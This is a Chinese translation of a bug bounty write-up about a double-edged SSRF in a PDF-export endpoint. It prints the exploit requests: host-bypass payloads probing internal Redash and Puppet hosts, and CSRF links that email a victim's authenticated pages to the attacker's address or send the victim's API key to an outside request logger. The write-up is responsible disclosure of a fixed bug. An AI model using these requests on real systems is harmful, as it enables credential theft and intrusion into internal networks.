深入考察同时威胁服务器和客户端的双刃式SSRF漏洞

就像双刃剑一样，这里介绍的是一种双刃式服务器端请求伪造(SSRF)漏洞，它能用来同时攻击服务器和客户端，至少根据自己的经验来看，这种类型的漏洞是非常罕见的。

最近，我参与了一个私人漏洞赏金计划，该计划是由提供网络监控解决方案的组织发起的，因此，在探索和测试他们的各种功能时，我使用他们的代理运行了一些网络测试，然后，我注意到了这样一个小功能：它允许用户通过电子邮件发送PDF副本来导出测试结果。具体的请求如下所示：

GET/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/export/synthetics/tests/780/results
Host: app.company.com

令我惊讶的是，当我收到电子邮件中的PDF报告时，发现它实际上是测试结果的网页截图，于是，我仔细检查了该端点，并对location参数产生了很大的兴趣。根据我的猜测，后端可能是通过/v4/export/synthetics/tests/780/results网页获取的截图，然后，用电子邮件发给用户。

为了验证我的假设，我改变了location参数的值，使其指向应用程序中的另一个经过身份验证的路由，如/v4/onboarding/device-status/80219。

没想到，我的猜测是正确的！因为我收到了这个经过身份验证的网页的PDF截图，所以，我很好奇这个功能如何在后台实现，以及是否有任何方法可以使其指向不同的主机，例如内部或外部主机。为此，我决定运行一些测试，如下：

&location=//example.com
&location=https://example.com

这个PDF报告包含了一个熟悉的404错误的截图，因此我推测后端很可能会采用location参数的值，将其追加到主机上，然后进行截图，即：

https://app.company.com/v4/export/synthetics/tests/780/results

如果是这样的话，那么我们可以尝试常见的SSRF绕过技术，如：@example.com或.example.com，如果这些方法有效，将导致后端发出一个HTTP请求：

https://app.company.com@example.com
https://app.company.com.example.com

嗯，看起来它们都是可行的，并在电子邮件中收到了以下PDF报告：

既然已经确认这里存在SSRF漏洞，那么接下来要做的事情，就是利用其内部网络来最大化其安全影响。因此，我运行的第一个测试就是使用这个存储库中描述的各种常见技术让location参数指向内部主机。

我尝试了多种payload，比如通过@127.0.0.1、@localhost、@spoofed.burpcollaborator.net等指向回环地址，301重定向等，但不幸的是，这些都没有成功，因为我收到的是一份空白的PDF报告。

于是，我开始寻找更多的内部主机，而不是那些似乎被列入黑名单的典型主机，因此，我使用Amass进行了快速的子域侦察，但没有找到任何让人感兴趣的东西，所以，我转而到Github上进行搜索，并发现了一个引用https://redash.iad1.company.com的存储库，它似乎是一个活动的内部主机，但无法公开访问。

所以，我迅速将location参数值设置为@redash.iad1.company.com，并在邮箱中收到了下面的PDF报告：

好吧，这回形势一片大好! 该主机正在运行一个Redash实例，其登录凭据以纯文本形式自动保存。我推测，他们可能会在.iad1.company.com下运行其他DevOps工具，所以，我通过手动方式，对一些流行的项目名称进行了模糊测试，这些名称包括：

• - @jenkins.iad1.company.com
• - @k8s.iad1.company.com
• - @github.iad1.company.com
• - Etc.

然后，在puppet.iad1.company.com上面中了头奖！puppet是一个用来管理基础设施的软件，功能包括服务器配置、部署到编排等。同时，我收到了一份10页的PDF报告，上面列出了它们所有的内部主机，具体如下所示：

我尝试了一些内部端点，它们似乎都可以访问：

Elastic：

Kibana：

至此，我们已经找到了一个非常容易利用的SSRF漏洞，但我决定进一步探索易受攻击的端点。如果您回顾前面的HTTP请求，会发现当初忽略了三个重要的注意事项：

• GET端点没有提供针对CSRF攻击的保护措施。
• 它会接受任何经过身份验证的网页的截图。
• 它将截图发送到email JSON参数提供的地址。

因此，通过向合法用户发送精心构造的URL，就可以对他们的任何经过身份验证的页面进行截图，并将报告发送到我自己的电子邮件地址，因此，整个攻击过程其实非常简单：

https://app.company.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/settings/users

点击上述链接，就能得到/v4/settings/users网页的截图，并将其发到yassineaboukir@wearehackerone.com邮箱，这是攻击者的电子邮件地址——这会泄露任何其他经过身份验证的端点的信息，比如/v4/synthetics/agents处的网络代理信息，/v4/settings/network-classification处的网络分类信息。

之后，我通过requestcatcher.com设置了一个HTTP记录器，然后将location参数指向我的webhook@testing1337.requestcatcher.com。没想到的是，这个HTTP请求竟然通过其头部信息泄露了我的账户的电子邮件地址以及API密钥，这两个头部分别为：X-CH-Auth-Api-Email与X-CH-Auth-Api-Token。

因此，我们可以利用这个端点，只需引诱用户点击相关链接，就能泄露任何组织的电子邮件和与其账户相关的API密钥。

https://app.company.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=@test.requestcatcher.com

于是，我决定停止继续研究，并向该计划提交了一份全面的报告，该计划已经修复了该漏洞，并为此颁发了最高的赏金。在此，非常感谢ninetynine的协作，并祝大家阅读愉快！

原文地址：https://www.yassineaboukir.com/blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact/